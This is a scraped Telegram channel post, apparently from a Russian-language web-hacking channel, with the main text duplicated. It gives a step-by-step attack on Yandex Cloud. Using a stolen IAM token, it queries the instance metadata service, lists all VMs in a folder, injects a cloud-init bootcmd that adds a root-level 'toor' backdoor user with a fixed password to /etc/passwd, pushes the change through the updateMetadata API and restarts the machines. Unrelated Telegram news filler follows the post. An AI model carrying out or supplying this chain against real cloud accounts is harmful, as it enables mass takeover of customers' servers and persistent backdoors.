WEBPWN Telegram 315
Кавычка
Так как Яндекс.Облако решает одну из таких задач, как импортозамещение, многие инструменты от AWS подойдут для использования в этом продукте, так как у них присутствуют одинаковые вызовы API. Облака это не обычные виртуалки, но не все этого понимают. В AWS…
Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"

Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id

Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"

С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"

В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.


А теперь самое интересное, получаем всю метадату для каждого инстанса:

curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"

Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:

\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n

Пушим изменения:

POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded

{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}


И делаем рестарт:


POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded

{"instanceId":"{instanceId}"}



Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.
🔥99



tgoop.com/webpwn/315
Create:
Last Update:

Берем известный нам IAM_TOKEN. Получаем почту и id пользователя:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://iam.api.cloud.yandex.net/iam/v1/yandexPassportUserAccounts:byLogin?login={LOGIN}"

Получаем идентификатор инстанса:
curl -H Metadata-Flavor:Google 169.254.169.254/computeMetadata/v1/instance/id

Забираем информацию о текущем инстансе, нас интересует folderId:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}"

С помощью folderId получаем список всех виртуальных машин в облаке:
curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances?folderId={folderId}"

В ответе будет список всех виртуальных машин, их имена, описание, дата создания, instanceId всех тачек.


А теперь самое интересное, получаем всю метадату для каждого инстанса:

curl -H "Authorization: Bearer {IAM_TOKEN}" "https://compute.api.cloud.yandex.net/compute/v1/instances/{instanceID}?view=FULL"

Делаем резервную копию yaml-файла. В поле "user-data" добавляем бэкдор в виде привилегированного пользователя toor:

\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\n

Пушим изменения:

POST /compute/v1/instances/epd48d7l217cs3eqgb1b/updateMetadata HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 1337
content-type: application/x-www-form-urlencoded

{
"upsert": {
"serial-port-enable": "1",
...
"user-data": "#cloud-config\ndatasource:\n Ec2:\n strict_id: false\nssh_pwauth: no\nbootcmd:\n - echo toor:P@ssw0rd:0:0:root:\/root:\/bin\/bash >> \/etc\/passwd\nusers:\n- name: bankprod\n sudo: ALL=(ALL) NOPASSWD:ALL\n shell: /bin/bash\n ssh-authorized-keys:\n - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEs7/GMUMCm6ncksXdcYf1+XSPkdVXvNdlUJZiJkGHBa bankprod@develop"
}
}


И делаем рестарт:


POST /compute/v1/instances/{instanceId}:restart HTTP/2
Host: compute.api.cloud.yandex.net
authorization: Bearer {IAM_TOKEN}
content-length: 37
content-type: application/x-www-form-urlencoded

{"instanceId":"{instanceId}"}



Поздравляю. У вас десятки, а может быть тысячи виртуальных машин с пользователем root благодаря одной уязвимости, если компания не осилила настройку облаков.

BY Кавычка


Share with your friend now:
tgoop.com/webpwn/315

View MORE
Open in Telegram


Telegram News

Date: |

With the “Bear Market Screaming Therapy Group,” we’ve now transcended language. How to Create a Private or Public Channel on Telegram? While the character limit is 255, try to fit into 200 characters. This way, users will be able to take in your text fast and efficiently. Reveal the essence of your channel and provide contact information. For example, you can add a bot name, link to your pricing plans, etc. In handing down the sentence yesterday, deputy judge Peter Hui Shiu-keung of the district court said that even if Ng did not post the messages, he cannot shirk responsibility as the owner and administrator of such a big group for allowing these messages that incite illegal behaviors to exist. Hui said the time period and nature of some offences “overlapped” and thus their prison terms could be served concurrently. The judge ordered Ng to be jailed for a total of six years and six months.
from us


Telegram Кавычка
FROM American